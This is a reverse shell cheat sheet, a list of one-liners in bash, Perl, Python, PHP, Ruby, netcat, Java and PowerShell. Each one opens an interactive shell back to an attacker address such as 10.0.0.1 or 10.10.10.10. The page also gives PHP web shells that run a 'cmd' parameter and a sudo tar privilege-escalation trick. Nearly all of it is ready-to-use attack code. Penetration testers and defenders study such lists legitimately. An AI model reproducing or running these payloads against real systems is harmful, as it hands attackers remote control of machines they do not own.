Linux Reverse Shell [One liner]

A collection of Linux reverse shell one-liners

These one-liners are all found on pentestmonkey.net. This website also contains a bunch of other useful stuff!

https://www.andreafortuna.org/2018/02/05/some-thoughts-about-reverse-shells/

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat with -e

nc -e /bin/sh 10.0.0.1 1234

Netcat without -e (my personal favourite)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Reverse Shell

Bash : bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
Netcat without e flag : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
Netcat Linux : nc -e /bin/sh 10.10.10.10 4443
Netcat windows : nc -e cmd.exe 10.10.10.10 4443
Python : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl: perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP command Injection:
<?php echo system($_GET["cmd"]);?>
#Alternative
<?php echo shell_exec($_GET["cmd"]);?>

Powershell one liner shell

$client = New-Object System.Net.Sockets.TCPClient("ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Tar Exploit - One liner shell

Tar Exploit - one shell script :
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/ip/8082 0>&1' > a.sh
tar -cvf a.tar a.sh
sudo -u onuma tar -xvf a.tar --to-command /bin/bash
